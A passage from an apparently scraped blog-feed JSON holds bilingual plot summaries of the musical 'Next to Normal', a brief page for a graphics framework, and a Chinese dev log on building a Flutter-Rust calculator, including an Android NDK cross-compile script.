Girl\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e与此同时,丹安排了一个家庭晚餐,邀请亨利加入他们(“这会很好”)。当黛安娜端上一块蛋糕给加布庆祝生日时,丹温柔地提醒她,事实上,加布已经去世将近十六年了,她在整个节目中看到的他只是幻觉(“他不在这里”)。在心烦意乱的娜塔莉跑到卧室后,丹收拾餐桌,而黛安娜透露她已经停止了药物治疗。当他试图同情她时,她变得愤怒,说他根本无法理解她正在经历的痛苦(“你不知道”)。丹恳求她让他尽可能帮助她,提醒她迄今为止他的忠诚和耐心,但被加布的幻觉打断,只有黛安娜能看到。黛安娜立即紧抱着她的儿子,拒绝了丹的安慰提议(“我就是那个人”)。楼上,娜塔莉向亨利倾诉她母亲对已故加布的依恋。 黛安娜听到了他们的对话,并提供了她能够给予的唯一安慰,告诉娜塔莉:“我爱你,尽我所能”(《超级男孩和隐形女孩》)。\u003c/p\u003e\n\u003cp\u003eDiana visits a new doctor, who performs talk therapy and hypnosis on her. During their session, she sees Gabe, who asserts his dominance over her and the control he has in her life (\u0026ldquo;I\u0026rsquo;m Alive\u0026rdquo;). Diana reveals intimate details about the effects of her illness, saying that she was unable to hold Natalie in the hospital when she was born. Meanwhile, Natalie botches an important piano recital upon discovering her parents are not in the audience (\u0026ldquo;Make Up Your Mind/ Catch Me I\u0026rsquo;m Falling\u0026rdquo;). Diana\u0026rsquo;s doctor encourages her to go home, spend time with Natalie, and clean out a box of Gabe\u0026rsquo;s old things in an attempt to let him go. Diana agrees but is confronted with a hallucination of Gabe while sorting through a box in their basement (\u0026ldquo;I Dreamed a Dance\u0026rdquo;). Gabe convinces her to commit suicide, saying it is the only way they can be together (\u0026ldquo;There\u0026rsquo;s a World\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e黛安娜去看了一位新医生,医生对她进行了谈话疗法和催眠。在他们的会话中,她看到了加布,加布强调了他对她的支配和他在她生活中的控制(“我还活着”)。黛安娜透露了关于疾病影响的私人细节,说她在医院无法抱着娜塔莉出生。与此同时,娜塔莉在发现父母不在观众席上时搞砸了一场重要的钢琴独奏会(“下定决心/抓住我,我要摔倒了”)。黛安娜的医生鼓励她回家,和娜塔莉共度时光,并清理加布旧物的箱子,试图让他离开。黛安娜同意了,但在整理地下室的一个箱子时,她遇到了加布的幻觉(“我做了一个舞蹈的梦”)。加布说服她自杀,说这是他们唯一能在一起的方式(“有一个世界”)。\u003c/p\u003e\n\u003cp\u003eDiana is hospitalized after her suicide attempt fails, and Dr. Madden tells Dan that \u003ca href=\"https://en.wikipedia.org/wiki/Electroconvulsive_therapy\"\u003eelectroconvulsive therapy\u003c/a\u003e is one of the only options they have left. Dan returns home to clean up the scene of his wife\u0026rsquo;s attempt at suicide, narrowly avoiding a breakdown of his own as he reminisces about the years spent with Diana (“I’ve Been”). Natalie finds him and is angry to discover that he has agreed to the doctor\u0026rsquo;s recommendation of shock therapy. Upon returning to the hospital, he finds that Diana has become aggressive with the staff for wanting her to sign the confirmation papers, likening the idea of shock therapy to its depiction in the film One Flew Over the Cuckoo\u0026rsquo;s Nest (\u0026ldquo;Didn\u0026rsquo;t I See This Movie?\u0026rdquo;). However, after clearing the room, he manages to convince her of the necessity of this treatment, saying it is the only way they can get back to normal (\u0026ldquo;A Light in the Dark\u0026rdquo;). Diana reluctantly agrees and signs the papers.\u003c/p\u003e\n\u003cp\u003e黛安娜自杀未遂后被送进医院,麦登医生告诉丹,电休克疗法是他们剩下的几乎唯一选择之一。丹回家清理妻子自杀未遂的现场,险些自己崩溃,他回忆起与黛安娜度过的岁月(“我一直在”)。娜塔莉找到他,发现他同意医生的电休克疗法建议后感到愤怒。回到医院后,他发现黛安娜对工作人员变得咄咄逼人,不愿签署确认文件,将电休克疗法比作电影《飞越疯人院》中的描述(“我没看过这部电影吗?”)。然而,在清空房间后,他设法说服她接受这种治疗的必要性,称这是他们恢复正常的唯一途径(“黑暗中的一抹光”)。黛安娜勉强同意并签署文件。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAct II 第二幕\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eDiana receives a series of ECT treatments over two weeks. Meanwhile, Natalie experiments with drugs and frequently goes clubbing, being rescued most nights by Henry, who sees her home safely. On one occasion, she seems to share a hallucination with her mother, highlighting some of the parallels between their emotional states (\u0026ldquo;Wish I Were Here\u0026rdquo;). Upon Diana\u0026rsquo;s return home from the hospital, it is revealed that she has lost her memories of the last nineteen years due to the shock therapy – including the memory of her deceased son (\u0026ldquo;Song of Forgetting\u0026rdquo;). During this song Natalie expresses concerns over the efficacy of this \u0026ldquo;cure\u0026rdquo; claiming her mind is \u0026ldquo;so pure she doesn\u0026rsquo;t know anything\u0026rdquo; while Dan remains hopeful about the eventual return of Diana\u0026rsquo;s memory. Henry expresses concern over Natalie’s drug use and asks her to the upcoming school dance in an attempt to reconnect, an invitation which Natalie immediately declines (\u0026ldquo;Hey #1\u0026rdquo;). Meanwhile, Dan questions Dr. Madden over Diana\u0026rsquo;s memory loss, learning it is a relatively common side effect of ECT (\u0026ldquo;Seconds and Years\u0026rdquo;). Because Gabe\u0026rsquo;s death was the start of a lifetime of depression, Dan hesitates to remind her of it. At home, he and Natalie help Diana sort through a box of pictures and memories of her old life, leaving out any mention of Gabe\u0026rsquo;s existence (\u0026ldquo;Better Than Before\u0026rdquo;). However, Diana is briefly confronted afterward by Gabe, who hints that she has forgotten a vital part of her life (\u0026ldquo;Aftershocks\u0026rdquo;). Meanwhile, Henry again invites Natalie to the dance but is turned down again. Despite Natalie’s rejections, Henry insists on picking her up the next day just in case she changes her mind (\u0026ldquo;Hey #2\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e黛安娜在两周内接受了一系列电休克治疗。与此同时,娜塔莉尝试各种药物,并经常参加俱乐部活动,大多数晚上都被亨利救回家安全。有一次,她似乎与母亲分享了幻觉,突显了她们情绪状态之间的一些相似之处(《但愿我在这里》)。黛安娜从医院回家后,揭示她因为电休克疗法而失去了过去十九年的记忆,包括她已故儿子的记忆(《遗忘之歌》)。在这首歌中,娜塔莉表达了对这种“治疗”效果的担忧,声称她的头脑“如此纯净,一无所知”,而丹则对黛安娜记忆的最终恢复持乐观态度。亨利对娜塔莉的药物使用表示担忧,并邀请她参加即将举行的学校舞会,试图重新建立联系,但娜塔莉立即拒绝了这个邀请(《嘿#1》)。与此同时,丹质疑医生。 麦登对黛安娜的记忆丧失感到困惑,得知这是电击疗法的一个相对常见的副作用(“秒与年”)。由于加布的死是终身抑郁的开始,丹犹豫是否提醒她。在家里,他和娜塔莉帮助黛安娜整理一箱旧生活的照片和回忆,避免提及加布的存在(“比以前好”)。然而,之后加布暗示黛安娜已经忘记了她生活中的一个重要部分(“余震”)。与此同时,亨利再次邀请娜塔莉参加舞会,但再次被拒绝。尽管娜塔莉拒绝了,亨利坚持第二天去接她,以防她改变主意(“嘿#2”)。\u003c/p\u003e\n\u003cp\u003eDiana visits Dr. Madden, who accidentally reveals the existence of her son, unaware that Dan has not yet done so (\u0026ldquo;You Don\u0026rsquo;t Know - Reprise\u0026rdquo;). After learning this, Diana returns home and searches through Gabe\u0026rsquo;s old belongings, finding the music box that helped him sleep as an infant. When Dan finds her revisiting the night their son died, he reluctantly reminds her that their son had died of an illness all of the doctors missed (\u0026ldquo;How Could I Ever Forget?\u0026rdquo;). Diana confusedly admits she recalls hallucinating Gabe as a teenager, and Dan frantically says they will get her to the doctor and do more ECT (\u0026ldquo;It\u0026rsquo;s Gonna Be Good - Reprise\u0026rdquo;), which leads to a heated argument between the two that Natalie witnesses the peak of. After Natalie runs upstairs to her bedroom, where Henry is waiting to take her to the dance, Diana questions Dan about why he stays despite all of the things she puts him through and all the pain they have experienced together. He reminds her of his wedding vows and promises to see their relationship through, no matter how much she pushes him away. Upstairs, Henry makes a similar pledge to Natalie (\u0026ldquo;Why Stay?/A Promise\u0026rdquo;). However, Diana again sees Gabe and is immediately entranced by him, drawn away from Dan (\u0026ldquo;I\u0026rsquo;m Alive – Reprise\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e黛安娜拜访了麦登医生,后者无意中透露了她儿子的存在,不知道丹还没有这样做(“你不知道 - 重唱”)。得知此事后,黛安娜回家搜寻盖布的旧物品,找到了曾帮助他婴儿时入睡的音乐盒。当丹发现她重温儿子去世的那个夜晚时,他不情愿地提醒她,他们的儿子死于所有医生都错过的疾病(“我怎么能忘记?”)。黛安娜困惑地承认她记得幻想盖布成为一个十几岁的少年,丹焦急地说他们会带她去看医生并做更多的电击疗法(“一切都会好起来 - 重唱”),这导致两人之间的激烈争吵,娜塔莉目睹了争吵的高潮。娜塔莉跑上楼到她的卧室,亨利正在等着带她去跳舞,黛安娜询问丹为什么尽管她给他带来了那么多困扰,他还是留下来,尽管他们一起经历了那么多痛苦。 他提醒她他的婚礼誓言,并承诺无论她如何推开他,都会坚持他们的关系。楼上,亨利向娜塔莉做出类似的承诺(“为什么留下?/一个承诺”)。然而,黛安娜再次看到加布,并立刻被他迷住,远离丹(“我还活着-重奏”)。\u003c/p\u003e\n\u003cp\u003eThough Dan begs her to stay, Diana leaves and visits Dr. Madden, frustrated that years of treatment haven\u0026rsquo;t seemed to improve her condition, and wonders if her grief over losing her son should truly be medicated (\u0026ldquo;The Break\u0026rdquo;). Dr. Madden pleads with her to stay with him, recommending more shock treatment and other medications, but she leaves the appointment (\u0026ldquo;Make Up Your Mind/Catch Me I\u0026rsquo;m Falling - Reprise\u0026rdquo;). Upon returning outside, she connects with Natalie for the first time, noting the similarities between the two of them. They embrace and agree that somehow they will get a life somewhere “next to normal” (“Maybe (Next to Normal)”). Diana drives Natalie to the dance, where Natalie voices her concerns to Henry that she will someday end up with the same issues as her mother, though Henry promises to stand by her no matter what (\u0026ldquo;Hey #3/ Perfect For You - Reprise\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e尽管丹恳求戴安娜留下,但戴安娜离开并拜访了麦登医生,感到沮丧的是多年的治疗似乎并没有改善她的状况,她想知道自己对失去儿子的悲伤是否真的应该用药物来治疗(“突破”)。麦登医生恳求她留下,建议进行更多的电击疗法和其他药物治疗,但她离开了约会(“下定决心/抓住我,我要摔倒-重奏”)。回到外面后,她第一次与娜塔莉联系,注意到她们两人之间的相似之处。她们拥抱并同意以某种方式在“接近正常”的某个地方开始新生活(“也许(接近正常)”)。戴安娜开车送娜塔莉去跳舞,娜塔莉向亨利表达了她对自己将来可能会像母亲一样遇到相同问题的担忧,尽管亨利承诺无论如何都会支持她(“嘿#3/ 为你而完美-重奏”)。\u003c/p\u003e\n\u003cp\u003eDiana returns home and tells Dan she is leaving him, saying that though she still loves him, they both must finally come to terms with their grief on their own (\u0026ldquo;So Anyway\u0026rdquo;). Devastated, Dan looks back on his years of faithfulness to her, resulting in him seeing Gabe for the first time (\u0026ldquo;I Am the One - Reprise\u0026rdquo;). The two share an embrace, and Dan says Gabe\u0026rsquo;s name for the first and only time in the show. Gabe disappears, and Natalie returns home to find that her mother is gone. She continues her relationship with Henry, and Diana moves in with her parents temporarily, still depressed but more hopeful than she\u0026rsquo;s ever been. Dan visits Dr. Madden, who gives him the name of another psychiatrist he can talk to. Gabe is seen by the audience one final time, this time relaying a message of hope as opposed to the threatening persona he has previously taken, and the family adjusts to their new way of life (\u0026ldquo;Light\u0026rdquo;).\u003c/p\u003e\n\u003cp\u003e黛安娜回家告诉丹她要离开他,说虽然她仍然爱他,但他们都必须最终自己面对他们的悲伤(“总之”)。丹感到心碎,回顾了他对她的忠诚多年,结果第一次看到了加布(“我就是那个人-重唱”)。两人拥抱在一起,丹第一次也是唯一一次在节目中说出了加布的名字。加布消失了,娜塔莉回家发现她的母亲不见了。她继续与亨利保持关系,而黛安娜暂时搬到父母家,仍然沮丧但比以往任何时候都更有希望。丹去看马登医生,后者给了他另一位可以倾诉的心理医生的名字。加布最后一次被观众看到,这一次传递了一条希望的信息,而不是之前采取的威胁性形象,家庭适应了他们新生活方式(“光”)。\u003c/p\u003e\u003chr /\u003e","url":"https://indevn.com/posts/next-to-normal/"},{"title":"illusion Graphic:基于现代API的图形算法实验框架","time":"0001-01-01T00:00:00Z","content":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003elightweight framework for games and data visualization \u003cem\u003ewith modern graphic\u003c/em\u003e.\u003c/p\u003e\n\u003ch3 id=\"关于illusion\"\u003e关于illusion\u003c/h3\u003e\n\u003cp\u003e基于现代图形API的轻量级图形算法实验框架。基于跨平台设计,支持模型与场景的导入和渲染,包含对多达二十余种模型文件类型的支持。\u003c/p\u003e\n\u003ch3 id=\"目前支持的特性\"\u003e目前支持的特性\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e支持多种图形API,包括DirectX12、Vulkan、Metal等。\u003c/li\u003e\n\u003cli\u003e支持多种模型格式,包括常见的obj、gltf、fbx等。\u003c/li\u003e\n\u003cli\u003e多种材质模型支持,包括前沿的Marschner真实感毛发渲染材质。\u003c/li\u003e\n\u003cli\u003ecoming soon\u0026hellip;\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch3 id=\"技术细节\"\u003e技术细节\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e内存池设计,基于核心类的资源管理\u003c/li\u003e\n\u003cli\u003ecoming soon\u0026hellip;\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003chr\u003e\n\u003ch3 id=\"联系我\"\u003e联系我\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eEmail\u003c/strong\u003e: \u003ca href=\"mailto:indevn@outlook.com\"\u003eindevn@outlook.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eGithub\u003c/strong\u003e: \u003ca href=\"https://github.com/indevn\"\u003e@indevn\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eQQ\u003c/strong\u003e: 2022920028\u003c/p\u003e\u003chr /\u003e","url":"https://indevn.com/illusion/"}]},{"name":"SuperBart/BenderBlog","email":"Unknown","uri":"https://www.superbart.top/","description":"Recent content on SuperBart/BenderBlog","article":[{"title":"cmcalc 开发日志 1","time":"2024-07-14T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/Random/Coding%20to%20a%20cure%20girl.jpg\" alt=\"Featured image of post cmcalc 开发日志 1\" /\u003e\u003cp\u003e在我醉酒三次之后,今天好歹搓出来一个 Flutter-Rust 的计算器。总结下一些东西吧。\u003c/p\u003e\n\u003ch2 id=\"数学表达式处理器和计算机代数系统\"\u003e数学表达式处理器和计算机代数系统\u003c/h2\u003e\n\u003cp\u003e在我编程之前,我对这俩没啥概念,就是觉得都是计算器:P\u003c/p\u003e\n\u003cp\u003e后来我大致上网查了下(顺便唤醒了我死去的数学分析回忆),才知道这俩是有差别的。\u003c/p\u003e\n\u003cp\u003e先介绍数学表达式处理器,它的输入是一串字符串,通过预先规定好的文法处理方法,生成语法树用于下一步处理。这个基本上是编译原理的东西,我早忘了,目前只记得的步骤如下:\u003c/p\u003e\n\u003cp\u003e首先,在得到字符串后。开发者需要通过一些方式定义并解析符号,也就是一段字符串里面的元素。如果是一串数学表达式,则字符串里面必然包含数字(比如十进制数字1、十六进制数字0xDEADBEFF等),计算符号(加减乘除,乘方运算,积分符号等),特殊数字表达形式(比如pi,e)等符号。在我的印象中,flex 是干这个的。开发者定义后,字符串会通过词法分析(正则表达式狂喜)将字符串中的符号元素标记出来,用于接下来的处理。\u003c/p\u003e\n\u003cp\u003e然后,在标识出字符串的元素后,开发者需要对这些符号进行优先级排序和结合性定义,形成易于处理的语法树。语法树作为树数据结构,计算机比较容易处理,并可以从低向上处理这个计算公式,得出该运算公式的运行步骤。这个工作应该是 bison 的特长。定义之后,将这些符号进行排序生成树的过程称为语法分析。这个应该挺抽象的,所以看起来我得举个例子了。\u003c/p\u003e\n\u003cp\u003e再之后,开发者要把符号对应的操作定义好。比如说,遇到了数字符号就要将数字字符串转换为数字存储,遇到加法符号就要对他两边的数进行累加,遇到特定数字表达符号pi就要直接引用3.1415926535啥的。这个步骤同上面提到的运算公式运行步骤结合,就能得出字符串的运行结果了。\u003c/p\u003e\n\u003cp\u003e上面步骤中,第二部涉及到树,所以抽象。这里用\u003ccode\u003e1+pi\u003c/code\u003e来说明。再次说明,第一步涉及正则表达式、第二部涉及树的遍历。\u003c/p\u003e\n\u003cp\u003e首先定义符号:十进制数字字符串符号[0-9]*,加法符号+,pi符号。将字符串处理后,得到\u003ccode\u003e{十进制数字字符串符号1}{加法符号+0}{pi符号}\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e然后定义符号优先级:加法符号+最高,pi符号和十进制数字字符串符号同级。在此基础上,定义加法符号可以两边都有东西,或者只在右边有东西,先观察右边的东西。在此基础上进行排序,获得\u003ccode\u003e{加法符号+0}{十进制数字字符串符号1}{pi符号}\u003c/code\u003e。将其构成一棵树,就是:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e +\n / \\\n 1 pi\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e通过这棵树,程序可以得出执行顺序。这里我们程序从树的根\u003ccode\u003e+\u003c/code\u003e开始处理,先看左下的孩子\u003ccode\u003e1\u003c/code\u003e,然后看右下的孩子\u003ccode\u003epi\u003c/code\u003e,最后看到根自己,得出来运行顺序:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. 1 对应的步骤\n2. pi 对应的步骤\n3. + 对应的步骤\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在此基础上,拿出开发者定义好的符号对应步骤如下:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. 遇到十进制数字字符串符号,使用`parse(String str)-\u0026gt;float`将其转换成浮点数,存到一个临时变量temp1中。\n2. 遇到 pi,直接将其转换成浮点数3.1415926,存到临时变量temp2中。\n3. 遇到加号,分析计算与其结合的符号,然后相加得出结果。相当于`add(left,right)-\u0026gt;float`或者`add(right)-\u0026gt;float`。\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e将其和上面结合一下,就是:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. temp1 \u0026lt;- parse(\u0026quot;1\u0026quot;)\n2. temp2 \u0026lt;- 3.1415926\n3. add(temp1,temp2)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e至少大致上是这样,肯定有很多地方我说错了或者和课本上的不太符号,仅供参考。\u003c/p\u003e\n\u003cp\u003e上面大致上就是数学表达式处理器要干的事情,也就是很多普通数值计算器要干的事情。至少我碰到的\u003ccode\u003elibqalculator\u003c/code\u003e@C++,\u003ccode\u003emath_parser\u003c/code\u003e@Dart,还有这次使用的\u003ccode\u003ekalk\u003c/code\u003e@Rust,都是干这个用的。这些计算器最大的特点是基于数字进行运算,而在符号运算方面就不太可以了。毕竟日常使用普通计算器时候也没人想让其化简多项式啥的吧。\u003c/p\u003e\n\u003cp\u003e这就引出了计算机代数系统,他们是基于符号进行运算的。个人理解是,对于方程中的符号\u003ccode\u003ex\u003c/code\u003e,\u003ccode\u003ey\u003c/code\u003e等,他都可以进行运算,而不仅仅是数字啥的。这些系统中,比较出名的开源项目是\u003ccode\u003excas/giac\u003c/code\u003e,它被搭载在大量的计算器上面作为运算引擎。\u003c/p\u003e\n\u003cp\u003e本项目最开始的想法是使用数学表达式处理库\u003ccode\u003elibqalculate\u003c/code\u003e,但是ffi构建失败。然后我转向了\u003ccode\u003excas/giac\u003c/code\u003e计算器代数引擎编译,也是失败。虽然我尝试写好了一些cmake示例,能够下载代码进行编译,但是他们一扔到ffi项目中就不运行了,原因就是不下载编译这些库代码,而仅仅编译了我写的胶水函数。\u003c/p\u003e\n\u003cp\u003e最后我转向了 Rust 和 Flutter 协同开发,因为一行代码就能解决,同时可以使用大量的优良 Rust 库。kalker 在 Wikipedia 上面有一段介绍,星标也多,更新还算频繁,同时还有网页版本的图形化界面可以借鉴,于是我用了这个作为高精度计算器的后端。\u003c/p\u003e\n\u003ch2 id=\"回忆计算机积分算法\"\u003e回忆计算机积分算法\u003c/h2\u003e\n\u003cp\u003e说是回忆,是因为大二上有数值分析课讲过,但是我和大多数人一样,一句话都没听过。现在显然吃亏了:P\u003c/p\u003e\n\u003cp\u003ekalk 库使用的是牛顿-科特斯公式,将积分区间分成若干区间,在区间节点上计算要积分公式的结果,然后通过一个权重公式得出积分最终结果。本来该软件使用的是辛普森公式变种,精度不高,我给改成波尔的变种,目前pr还在等作者回复,估计他在忙别的事情吧(刚看 reddit 他还挺活跃)。\u003c/p\u003e\n\u003cp\u003e同时,我还注意到了高斯-勒格让积分方法,它是直接变换区间后上权重直接代入得出结果。结果更直接,数值精准度相较更高。目前我对该方法和其改进方法比较感兴趣,目前想尝试在 kalker 里面实现。\u003c/p\u003e\n\u003cp\u003e上面两个方法都有一定的缺点。首先,必须是定积分,积分区间不能出现无限。同时,积分区间内最好不要有奇异点(比如函数f(x)=1/x,x=0时候是各种无穷),否则会积分不出来。\u003c/p\u003e\n\u003cp\u003e至少改这些代码比较简单,没让我对 rust 有多可怕。这些算法在 mathru 项目中都有实现,回来大不了照抄233\u003c/p\u003e\n\u003ch2 id=\"交叉编译\"\u003e交叉编译\u003c/h2\u003e\n\u003cp\u003ekalk 库使用了 rug 库,一个处理高精度浮点数的库。这个库是对高精度运算库 GMP,高精度浮点数库 MPFR 和高精度复数库 MPC 的 Rust 包装。前面提到的库用了 C 和汇编编程,使用 autoconf 来构建。如果要是原生构建还好,但是要是给安卓苹果编译,那就完蛋了,毕竟默认的编译器也不支持他们的平台啊。\u003c/p\u003e\n\u003cp\u003e在这方面我一方面将 kalk 库的精度降低,先使用 64 位浮点数混几天日子,一方面想找个合适的浮点数库换掉 rug 。然后花了两天半一无所获,不仅被 rust 本身恶心到了,那啥借用引用所有权原则,而且找的库不是功能太缺,就是根本没完成。这里我提一下 malachite,这个库就差浮点数没实现了,目标是借鉴前面提到库的算法,完成一个高效率的高精度数学库。目前我很看好。\u003c/p\u003e\n\u003cp\u003e最后也不知道我看到了啥,说安卓的开发套装里面有 clang 编译器可以直接用。这下可把我乐坏了,改下变量让其直接用编译器交叉编译就好了啊。于是下面这个脚本诞生了。我相信,如果将来我要将 C++ 库搞到安卓或者苹果,这将是个很好的参考。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#!/bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003ethen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Please export NDK_TOOLCHAIN in your shell.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexit\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003edeclare\u003c/span\u003e -A \u003cspan class=\"nv\"\u003eplatform\u003c/span\u003e\u003cspan class=\"o\"\u003e=([\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;android-arm64\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e]=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;aarch64-linux-android\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;android-arm\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e]=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;armv7a-linux-androideabi\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;android-x64\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e]=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;x86_64-linux-android\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eLD\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/ld\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eRANLIB\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/llvm-ranlib\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eSTRIP\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/llvm-strip\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eAR\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/llvm-ar\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e i in \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"p\"\u003e!platform[@]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003eplatform\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$i\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eCC\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$NDK_TOOLCHAIN\u003c/span\u003e\u003cspan class=\"s2\"\u003e/bin/\u003c/span\u003e\u003cspan 